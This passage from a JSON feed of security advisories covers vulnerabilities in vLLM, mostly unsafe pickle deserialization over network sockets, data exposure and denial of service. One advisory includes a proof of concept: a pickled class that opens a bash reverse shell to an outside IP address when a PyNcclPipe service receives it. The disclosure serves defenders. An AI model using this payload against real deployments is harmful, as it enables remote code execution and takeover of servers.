only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface.\n\nThis issue was reported privately to PyTorch and they determined that this behavior was intentional.\n\n### Details\nThe `PyNcclPipe` implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads` , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.\n\n1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched:\n```python\nfrom vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe\nfrom vllm.config import KVTransferConfig\n\nconfig=KVTransferConfig(\n kv_ip=\"0.0.0.0\",\n kv_port=18888,\n kv_rank=0,\n kv_parallel_size=1,\n kv_buffer_size=1024,\n kv_buffer_device=\"cpu\"\n)\n\np=PyNcclPipe(config=config,local_rank=0)\np.recv_tensor() # Receive data\n```\n\n2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:\n\n```python\nfrom vllm.distributed.utils import StatelessProcessGroup\n\nclass Evil:\n def __reduce__(self):\n import os\n cmd='/bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/172.28.176.1/8888 0\u003e\u00261\"'\n return (os.system,(cmd,))\n\nclient = StatelessProcessGroup.create(\n host='172.17.0.1',\n port=18888,\n rank=1,\n world_size=2,\n)\n\nclient.send_obj(obj=Evil(),dst=0)\n```\n\nThe call stack triggering ​RCE is as follows:\n\n```\nvllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl\n\t-\u003e vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata\n\t\t-\u003e vllm.distributed.utils.StatelessProcessGroup.recv_obj\n\t\t\t-\u003e pickle.loads \n```\n\nGetshell as follows: \n\n![image](https://github.com/user-attachments/assets/487746ee-3b77-4e4d-99cc-d1ca08431215)\n\n### Reporters\n\nThis issue was reported independently by three different parties:\n\n* @kikayli (Zhuque Lab, Tencent)\n* @omjeki\n* Russell Bryant (@russellb)\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-05-20T18:04:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv","https://github.com/vllm-project/vllm/pull/15988","https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7","https://docs.vllm.ai/en/latest/deployment/security.html","https://nvd.nist.gov/vuln/detail/CVE-2025-47277","https://github.com/advisories/GHSA-hjq4-87xh-g4fv"],"source_kind":"github","identifiers":["GHSA-hjq4-87xh-g4fv","CVE-2025-47277"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-05-20T19:08:29.180Z","updated_at":"2026-06-01T06:03:15.912Z","epss_percentage":0.00865,"epss_percentile":0.74896,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oanE0LTg3eGgtZzRmds4ABIIT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oanE0LTg3eGgtZzRmds4ABIIT","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.8.5","vulnerable_version_range":"\u003e= 0.6.5, \u003c 0.8.5"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oanE0LTg3eGgtZzRmds4ABIIT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05cGNjLWd2eDUtcjV3bc4ABHiL","url":"https://github.com/advisories/GHSA-9pcc-gvx5-r5wm","title":"Remote Code Execution Vulnerability in vLLM Multi-Node Cluster Configuration","description":"### Affected Environments\n\nNote that this issue only affects the V0 engine, which has been off by default since v0.8.0. Further, the issue only applies to a deployment using tensor parallelism across multiple hosts, which we do not expect to be a common deployment pattern.\n\nSince V0 is has been off by default since v0.8.0 and the fix is fairly invasive, we have decided not to fix this issue. Instead we recommend that users ensure their environment is on a secure network in case this pattern is in use.\n\nThe V1 engine is not affected by this issue.\n\n### Impact\n\nIn a multi-node vLLM deployment using the V0 engine, vLLM uses ZeroMQ for some multi-node communication purposes. The secondary vLLM hosts open a `SUB` ZeroMQ socket and connect to an `XPUB` socket on the primary vLLM host.\n\nhttps://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L295-L301\n\nWhen data is received on this `SUB` socket, it is deserialized with `pickle`. This is unsafe, as it can be abused to execute code on a remote machine.\n\nhttps://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L468-L470\n\nSince the vulnerability exists in a client that connects to the primary vLLM host, this vulnerability serves as an escalation point. If the primary vLLM host is compromised, this vulnerability could be used to compromise the rest of the hosts in the vLLM deployment.\n\nAttackers could also use other means to exploit the vulnerability without requiring access to the primary vLLM host. One example would be the use of ARP cache poisoning to redirect traffic to a malicious endpoint used to deliver a payload with arbitrary code to execute on the target machine.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-05-06T16:38:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.0,"cvss_vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-9pcc-gvx5-r5wm","https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L295-L301","https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L468-L470","https://nvd.nist.gov/vuln/detail/CVE-2025-30165","https://github.com/advisories/GHSA-9pcc-gvx5-r5wm"],"source_kind":"github","identifiers":["GHSA-9pcc-gvx5-r5wm","CVE-2025-30165"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-05-06T17:09:05.490Z","updated_at":"2026-06-01T03:02:19.294Z","epss_percentage":0.00432,"epss_percentile":0.62844,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cGNjLWd2eDUtcjV3bc4ABHiL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cGNjLWd2eDUtcjV3bc4ABHiL","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.10.0","vulnerable_version_range":"\u003e= 0.5.2, \u003c 0.10.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cGNjLWd2eDUtcjV3bc4ABHiL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12YzZtLWhtNDktZzlxZ84ABHQt","url":"https://github.com/advisories/GHSA-vc6m-hm49-g9qg","title":"phi4mm: Quadratic Time Complexity in Input Token Processing​ leads to denial of service","description":"### Summary\nA critical performance vulnerability has been identified in the input preprocessing logic of the multimodal tokenizer. The code dynamically replaces placeholder tokens (e.g., \u003c|audio_*|\u003e, \u003c|image_*|\u003e) with repeated tokens based on precomputed lengths. Due to ​​inefficient list concatenation operations​​, the algorithm exhibits ​​quadratic time complexity (O(n²))​​, allowing malicious actors to trigger resource exhaustion via specially crafted inputs.\n\n### Details\n​​Affected Component​​: input_processor_for_phi4mm function.\nhttps://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/model_executor/models/phi4mm.py#L1182-L1197\n\nThe code modifies the input_ids list in-place using input_ids = input_ids[:i] + tokens + input_ids[i+1:]. Each concatenation operation copies the entire list, leading to O(n) operations per replacement. For k placeholders expanding to m tokens, total time becomes O(kmn), approximating O(n²) in worst-case scenarios.\n\n### PoC\nTest data demonstrates exponential time growth:\n```python\ntest_cases = [100, 200, 400, 800, 1600, 3200, 6400]\nrun_times = [0.002, 0.007, 0.028, 0.136, 0.616, 2.707, 11.854] # seconds\n```\nDoubling input size increases runtime by ~4x (consistent with O(n²)).\n\n### Impact\n​​Denial-of-Service (DoS):​​ An attacker could submit inputs with many placeholders (e.g., 10,000 \u003c|audio_1|\u003e tokens), causing CPU/memory exhaustion.\nExample: 10,000 placeholders → ~100 million operations.\n\n\n### Remediation Recommendations​\nPrecompute all placeholder positions and expansion lengths upfront.\nReplace dynamic list concatenation with a single preallocated array.\n```python\n# Pseudocode for O(n) solution\nnew_input_ids = []\nfor token in input_ids:\n if token is placeholder:\n new_input_ids.extend([token] * precomputed_length)\n else:\n new_input_ids.append(token)\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-04-29T16:43:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-vc6m-hm49-g9qg","https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/model_executor/models/phi4mm.py#L1182-L1197","https://nvd.nist.gov/vuln/detail/CVE-2025-46560","https://github.com/advisories/GHSA-vc6m-hm49-g9qg"],"source_kind":"github","identifiers":["GHSA-vc6m-hm49-g9qg","CVE-2025-46560"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-04-29T17:08:50.158Z","updated_at":"2026-06-01T06:03:20.302Z","epss_percentage":0.00574,"epss_percentile":0.68505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12YzZtLWhtNDktZzlxZ84ABHQt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12YzZtLWhtNDktZzlxZ84ABHQt","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.8.5","vulnerable_version_range":"\u003e= 0.8.0, \u003c 0.8.5"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12YzZtLWhtNDktZzlxZ84ABHQt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oajR3LWhtMmctcDZ3Nc4ABHQT","url":"https://github.com/advisories/GHSA-hj4w-hm2g-p6w5","title":"vLLM Vulnerable to Remote Code Execution via Mooncake Integration","description":"## Impacted Deployments\n\n**Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.**\n\n## Description\n\nvLLM integration with mooncake is vaulnerable to remote code execution due to using `pickle` based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.\n\n\nThis is a similar to [GHSA - x3m8 - f7g5 - qhm7](https://github.com/vllm-project/vllm/security/advisories/GHSA-x3m8-f7g5-qhm7), the problem is in\n\nhttps://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179\n\nHere [recv_pyobj()](https://github.com/zeromq/pyzmq/blob/453f00c5645a3bea40d79f53aa8c47d85038dc2d/zmq/sugar/socket.py#L961) Contains implicit `pickle.loads()`, which leads to potential RCE.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-04-29T14:52:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-hj4w-hm2g-p6w5","https://github.com/vllm-project/vllm/security/advisories/GHSA-x3m8-f7g5-qhm7","https://github.com/vllm-project/vllm/commit/a5450f11c95847cf51a17207af9a3ca5ab569b2c","https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179","https://nvd.nist.gov/vuln/detail/CVE-2025-32444","https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-42.yaml","https://github.com/advisories/GHSA-hj4w-hm2g-p6w5"],"source_kind":"github","identifiers":["GHSA-hj4w-hm2g-p6w5","CVE-2025-32444"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-04-29T15:09:13.806Z","updated_at":"2026-06-01T06:03:20.304Z","epss_percentage":0.02477,"epss_percentile":0.8551,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oajR3LWhtMmctcDZ3Nc4ABHQT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oajR3LWhtMmctcDZ3Nc4ABHQT","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.8.5","vulnerable_version_range":"\u003e= 0.6.5, \u003c 0.8.5"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oajR3LWhtMmctcDZ3Nc4ABHQT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05ZjhmLTJ2bWYtODg1as4ABHQS","url":"https://github.com/advisories/GHSA-9f8f-2vmf-885j","title":"Data exposure via ZeroMQ on multi-node vLLM deployment","description":"### Impact\nIn a multi-node vLLM deployment, vLLM uses ZeroMQ for some multi-node communication purposes. The primary vLLM host opens an `XPUB` ZeroMQ socket and binds it to ALL interfaces. While the socket is always opened for a multi-node deployment, it is only used when doing tensor parallelism across multiple hosts.\n\nAny client with network access to this host can connect to this `XPUB` socket unless its port is blocked by a firewall. Once connected, these arbitrary clients will receive all of the same data broadcasted to all of the secondary vLLM hosts. This data is internal vLLM state information that is not useful to an attacker.\n\nBy potentially connecting to this socket many times and not reading data published to them, an attacker can also cause a denial of service by slowing down or potentially blocking the publisher.\n\n### Detailed Analysis\n\nThe `XPUB` socket in question is created here:\n\nhttps://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L236-L237\n\nData is published over this socket via `MessageQueue.enqueue()` which is called by `MessageQueue.broadcast_object()`:\n\nhttps://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/device_communicators/shm_broadcast.py#L452-L453\n\nhttps://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/device_communicators/shm_broadcast.py#L475-L478\n\nThe `MessageQueue.broadcast_object()` method is called by the `GroupCoordinator.broadcast_object()` method in `parallel_state.py`:\n\nhttps://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L364-L366\n\nThe broadcast over ZeroMQ is only done if the `GroupCoordinator` was created with `use_message_queue_broadcaster` set to `True`:\n\nhttps://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L216-L219\n\nThe only case where `GroupCoordinator` is created with `use_message_queue_broadcaster` is the coordinator for the tensor parallelism group:\n\nhttps://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L931-L936\n\nTo determine what data is broadcasted to the tensor parallism group, we must continue tracing. `GroupCoordinator.broadcast_object()` is called by `GroupCoordinator.broadcoast_tensor_dict()`:\n\nhttps://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L489\n\nwhich is called by `broadcast_tensor_dict()` in `communication_op.py`:\n\nhttps://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/communication_op.py#L29-L34\n\nIf we look at `_get_driver_input_and_broadcast()` in the V0 `worker_base.py`, we'll see how this tensor dict is formed:\n\nhttps://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/worker/worker_base.py#L332-L352\n\nbut the data actually sent over ZeroMQ is the `metadata_list` portion that is split from this `tensor_dict`. The tensor parts are sent via `torch.distributed` and only metadata about those tensors is sent via ZeroMQ.\n\nhttps://github.com/vllm-project/vllm/blob/54a66e5fee4a1ea62f1e4c79a078b20668e408c6/vllm/distributed/parallel_state.py#L61-L83\n\n### Patches\n\n* https://github.com/vllm-project/vllm/pull/17197\n\n### Workarounds\n\nPrior to the fix, your options include:\n1. Do not expose the vLLM host to a network where any untrusted connections may reach the host.\n2. Ensure that only the other vLLM hosts are able to connect to the TCP port used for the `XPUB` socket. Note that port used is random.\n\n### References\n\n* Relevant code first introduced in https://github.com/vllm-project/vllm/pull/6183","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-04-29T14:50:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-9f8f-2vmf-885j","https://github.com/vllm-project/vllm/pull/6183","https://github.com/vllm-project/vllm/commit/a0304dc504c85f421d38ef47c64f83046a13641c","https://nvd.nist.gov/vuln/detail/CVE-2025-30202","https://github.com/vllm-project/vllm/pull/17197","https://github.com/advisories/GHSA-9f8f-2vmf-885j"],"source_kind":"github","identifiers":["GHSA-9f8f-2vmf-885j","CVE-2025-30202"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-04-29T15:09:13.850Z","updated_at":"2026-06-01T06:03:20.304Z","epss_percentage":0.00447,"epss_percentile":0.63515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ZjhmLTJ2bWYtODg1as4ABHQS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05ZjhmLTJ2bWYtODg1as4ABHQS","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.8.5","vulnerable_version_range":"\u003e= 0.5.2, \u003c 0.8.5"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ZjhmLTJ2bWYtODg1as4ABHQS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZ3BmLTI0anctM2Zjd84ABHGV","url":"https://github.com/advisories/GHSA-ggpf-24jw-3fcw","title":"CVE-2025-24357 Malicious model remote code execution fix bypass with PyTorch \u003c 2.6.0","description":"## Description\n\nhttps://github.com/vllm-project/vllm/security/advisories/GHSA-rh4j-5rhw-hr54 reported a vulnerability where loading a malicious model could result in code execution on the vllm host. The fix applied to specify `weights_only=True` to calls to `torch.load()` did not solve the problem prior to PyTorch 2.6.0.\n\nPyTorch has issued a new CVE about this problem: https://github.com/advisories/GHSA-53q9-r3pm-6pq6\n\nThis means that versions of vLLM using PyTorch before 2.6.0 are vulnerable to this problem.\n## Background Knowledge\nWhen users install VLLM according to the official manual\n![image](https://github.com/user-attachments/assets/d17e0bdb-26f2-46d6-adf6-0b17e5ddf5c7)\n\nBut the version of PyTorch is specified in the requirements. txt file\n![image](https://github.com/user-attachments/assets/94aad622-ad6d-4741-b772-c342727c58c7)\n\nSo by default when the user install VLLM, it will install the PyTorch with version 2.5.1\n![image](https://github.com/user-attachments/assets/04ff31b0-aad1-490a-963d-00fda91da47b)\n\nIn CVE-2025-24357, weights_only=True was used for patching, but we know this is not secure.\nBecause we found that using Weights_only=True in pyTorch before 2.5.1 was unsafe\n\nHere, we use this interface to prove that it is not safe.\n![image](https://github.com/user-attachments/assets/0d86efcd-2aad-42a2-8ac6-cc96b054c925)\n\n\n## Fix\nupdate PyTorch version to 2.6.0\n\n## Credit\nThis vulnerability was found By Ji'an Zhou and Li'shuo Song","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-04-23T02:26:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/pytorch/pytorch/security/advisories/GHSA-53q9-r3pm-6pq6","https://github.com/vllm-project/vllm/security/advisories/GHSA-ggpf-24jw-3fcw","https://github.com/vllm-project/vllm/security/advisories/GHSA-rh4j-5rhw-hr54","https://github.com/advisories/GHSA-ggpf-24jw-3fcw"],"source_kind":"github","identifiers":["GHSA-ggpf-24jw-3fcw"],"repository_url":"https://github.com/pytorch/pytorch","blast_radius":0.0,"created_at":"2025-04-23T03:08:35.718Z","updated_at":"2026-06-01T06:03:21.469Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZ3BmLTI0anctM2Zjd84ABHGV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZ3BmLTI0anctM2Zjd84ABHGV","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.8.0","vulnerable_version_range":"\u003c 0.8.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZ3BmLTI0anctM2Zjd84ABHGV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oZjNjLXd4ZzItNDlxOc4ABGyu","url":"https://github.com/advisories/GHSA-hf3c-wxg2-49q9","title":"vLLM vulnerable to Denial of Service by abusing xgrammar cache","description":"### Impact\n\nThis report is to highlight a vulnerability in XGrammar, a library used by the structured output feature in vLLM. The XGrammar advisory is here: https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-389x-67px-mjg3\n\nThe [xgrammar](https://xgrammar.mlc.ai/docs/) library is the default backend used by vLLM to support structured output (a.k.a. guided decoding). Xgrammar provides a required, built-in cache for its compiled grammars stored in RAM. xgrammar is available by default through the OpenAI compatible API server with both the V0 and V1 engines.\n\nA malicious user can send a stream of very short decoding requests with unique schemas, resulting in an addition to the cache for each request. This can result in a Denial of Service by consuming all of the system's RAM.\n\nNote that even if vLLM was configured to use a different backend by default, it is still possible to choose xgrammar on a per-request basis using the `guided_decoding_backend` key of the `extra_body` field of the request with the V0 engine. This per-request choice is not available when using the V1 engine. \n### Patches\n\n* https://github.com/vllm-project/vllm/pull/16283\n\n### Workarounds\n\nThere is no way to workaround this issue in existing versions of vLLM other than preventing untrusted access to the OpenAI compatible API server.\n\n### References\n\n* https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-389x-67px-mjg3","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-04-15T21:21:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-389x-67px-mjg3","https://github.com/vllm-project/vllm/security/advisories/GHSA-hf3c-wxg2-49q9","https://github.com/vllm-project/vllm/pull/16283","https://github.com/vllm-project/vllm/commit/cb84e45ac75b42ba6795145923e8eb323bb825ad","https://github.com/advisories/GHSA-hf3c-wxg2-49q9"],"source_kind":"github","identifiers":["GHSA-hf3c-wxg2-49q9"],"repository_url":"https://github.com/mlc-ai/xgrammar","blast_radius":0.0,"created_at":"2025-04-15T22:08:34.409Z","updated_at":"2026-06-01T06:03:23.776Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZjNjLXd4ZzItNDlxOc4ABGyu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oZjNjLXd4ZzItNDlxOc4ABGyu","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.8.4","vulnerable_version_range":"\u003e= 0.6.5, \u003c 0.8.4"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZjNjLXd4ZzItNDlxOc4ABGyu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jajQ3LXFqNmcteDdyNM4ABFt3","url":"https://github.com/advisories/GHSA-cj47-qj6g-x7r4","title":"vLLM allows Remote Code Execution by Pickle Deserialization via AsyncEngineRPCServer() RPC server entrypoints","description":"vllm-project vllm version 0.6.0 contains a vulnerability in the AsyncEngineRPCServer() RPC server entrypoints. The core functionality run_server_loop() calls the function _make_handler_coro(), which directly uses cloudpickle.loads() on received messages without any sanitization. This can result in remote code execution by deserializing malicious pickle data.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-03-20T12:32:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-9053","https://huntr.com/bounties/75a544f3-34a3-4da0-b5a3-1495cb031e09","https://github.com/advisories/GHSA-cj47-qj6g-x7r4"],"source_kind":"github","identifiers":["GHSA-cj47-qj6g-x7r4","CVE-2024-9053"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-03-21T04:08:09.434Z","updated_at":"2026-06-01T06:03:33.448Z","epss_percentage":0.10021,"epss_percentile":0.93084,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajQ3LXFqNmcteDdyNM4ABFt3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jajQ3LXFqNmcteDdyNM4ABFt3","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.6.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajQ3LXFqNmcteDdyNM4ABFt3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZ3I3LW1ocDUtZmdqcM4ABFtr","url":"https://github.com/advisories/GHSA-pgr7-mhp5-fgjp","title":"vLLM deserialization vulnerability in vllm.distributed.GroupCoordinator.recv_object","description":"vllm-project vllm version 0.6.0 contains a vulnerability in the distributed training API. The function vllm.distributed.GroupCoordinator.recv_object() deserializes received object bytes using pickle.loads() without sanitization, leading to a remote code execution vulnerability.\n\n### Maintainer perspective\nNote that vLLM does NOT use the code as described in the report on huntr. The problem only exists if you use these internal APIs in a way that exposes them to a network as described. The vllm team was not involved in the analysis of this report and the decision to assign it a CVE.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-03-20T12:32:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-9052","https://huntr.com/bounties/ea75728f-4efe-4a3d-9f53-33f2c908e9f8","https://github.com/vllm-project/vllm/blob/32e7db25365415841ebc7c4215851743fbb1bad1/vllm/distributed/parallel_state.py#L480","https://github.com/vllm-project/vllm/blob/v0.8.1/vllm/distributed/parallel_state.py#L457","https://github.com/github/advisory-database/pull/5444","https://github.com/advisories/GHSA-pgr7-mhp5-fgjp"],"source_kind":"github","identifiers":["GHSA-pgr7-mhp5-fgjp","CVE-2024-9052"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-03-21T04:08:09.719Z","updated_at":"2026-06-01T06:03:33.449Z","epss_percentage":0.00327,"epss_percentile":0.52603,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZ3I3LW1ocDUtZmdqcM4ABFtr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZ3I3LW1ocDUtZmdqcM4ABFtr","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.8.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZ3I3LW1ocDUtZmdqcM4ABFtr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01dnFyLXdwcmMtY3BwN84ABFsD","url":"https://github.com/advisories/GHSA-5vqr-wprc-cpp7","title":"vLLM Deserialization of Untrusted Data vulnerability","description":"vllm-project vllm version v0.6.2 contains a vulnerability in the MessageQueue.dequeue() API function. The function uses pickle.loads to parse received sockets directly, leading to a remote code execution vulnerability. An attacker can exploit this by sending a malicious payload to the MessageQueue, causing the victim's machine to execute arbitrary 